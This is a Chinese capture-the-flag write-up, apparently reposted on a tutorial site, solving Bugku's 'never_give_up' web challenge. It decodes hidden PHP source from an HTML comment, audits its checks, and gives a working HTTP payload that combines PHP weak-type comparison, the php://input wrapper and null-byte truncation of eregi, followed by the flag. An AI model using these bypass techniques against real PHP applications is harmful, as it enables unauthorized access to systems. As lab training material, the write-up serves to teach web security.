本文主要是介绍never_give_up——bugku,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
前言
一个很老的题目了。两前年有个投机取巧的题解。 直接访问 f4l2a3g.txt 得到flag。 现在修复了,必须按部就班的做。
那、来吧。
解题过程
访问靶场、查看源码,发现有1p.html
访问会跳转到 https://www.bugku.com/
用burp拦截一下试试
(写笔记复现的时候没有拦截成功。但是第一遍确实是没问题的。)
在p1.html的源码里发现有注释
<!--JTIyJTNCaWYoISUyNF9HRVQlNUInaWQnJTVEKSUwQSU3QiUwQSUwOWhlYWRlcignTG9jYXRpb24lM0ElMjBoZWxsby5waHAlM0ZpZCUzRDEnKSUzQiUwQSUwOWV4aXQoKSUzQiUwQSU3RCUwQSUyNGlkJTNEJTI0X0dFVCU1QidpZCclNUQlM0IlMEElMjRhJTNEJTI0X0dFVCU1QidhJyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJ2InJTVEJTNCJTBBaWYoc3RyaXBvcyglMjRhJTJDJy4nKSklMEElN0IlMEElMDllY2hvJTIwJ25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJyUzQiUwQSUwOXJldHVybiUyMCUzQiUwQSU3RCUwQSUyNGRhdGElMjAlM0QlMjAlNDBmaWxlX2dldF9jb250ZW50cyglMjRhJTJDJ3InKSUzQiUwQWlmKCUyNGRhdGElM0QlM0QlMjJidWdrdSUyMGlzJTIwYSUyMG5pY2UlMjBwbGF0ZWZvcm0hJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuKCUyNGIpJTNFNSUyMGFuZCUyMGVyZWdpKCUyMjExMSUyMi5zdWJzdHIoJTI0YiUyQzAlMkMxKSUyQyUyMjExMTQlMjIpJTIwYW5kJTIwc3Vic3RyKCUyNGIlMkMwJTJDMSkhJTNENCklMEElN0IlMEElMDklMjRmbGFnJTIwJTNEJTIwJTIyZmxhZyU3QioqKioqKioqKioqJTdEJTIyJTBBJTdEJTBBZWxzZSUwQSU3QiUwQSUwOXByaW50JTIwJTIybmV2ZXIlMjBuZXZlciUyMG5ldmVyJTIwZ2l2ZSUyMHVwJTIwISEhJTIyJTNCJTBBJTdEJTBBJTBBJTBBJTNGJTNF-->
经 base 64编码 再经 url解码
得到php的代码
";if(!$_GET['id'])
{header('Location: hello.php?id=1');exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{echo 'no no no no no no no';return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{$flag = "flag{***********}"
}
else
{print "never never never give up !!!";
}?>
审计一下:
主要函数:
stripos函数:返回指定字符的位置。 题目中就是 返回 “.”在 $a 的位置。 配合上if,就是a中不能有 .
file_get_contents:读取指定的文件。题目中是要读取名称为 a 的文件。 并赋值给 data
eregi:这个函数跟 preg_match函数功能一样,实现匹配。但是已经弃用。详情见:实验吧-PHP大法-eregi()函数 - 雨九九 - 博客园 题目的意思是,经过 substr 的 变量b 再拼接 字符串 111 ,用拼接后的字符串 匹配 1114 。
所以一共有以下限制条件:
1、id传参必须存在,且 等于0
2、a传参 不能有 .
3、必须读取到 名为a 的文件,且文件内容是:bugku is a nice plateform!
4、b传参长度大于5
5、b的第一个字符不能等于4,且截取后要与 1114 匹配
此外还有个隐形条件。
传入 id = 0 。会自动跳转到 id =1
猜测这里也有一部分检测。
绕过方法:
1、id用弱类型比较。 0xg 等于 0 。 (只要是大于十六进制e的字符都可以)
2、利用php伪协议。
a=php://inputpost传入:bugku is a nice plateform!
3、利用00截断绕过 eregi
eregi("111".substr($b,0,1),"1114")
b传入 %0012345 , 经过substr截取 空格 ,再与111拼接。 函数在 处理 111 时,遇见空格,会丢弃空格及后面的数据,即 111 变成111,此时 111在1114里面了。
所以最终的payload
GET /hello.php?id=0xg&a=php://input&b=%0012345 HTTP/1.1
Host: 114.67.246.176:19420
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 26bugku is a nice plateform!
flag{20813874f5b06c48bf46ace1f40fb1bd}
这篇关于never_give_up——bugku的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!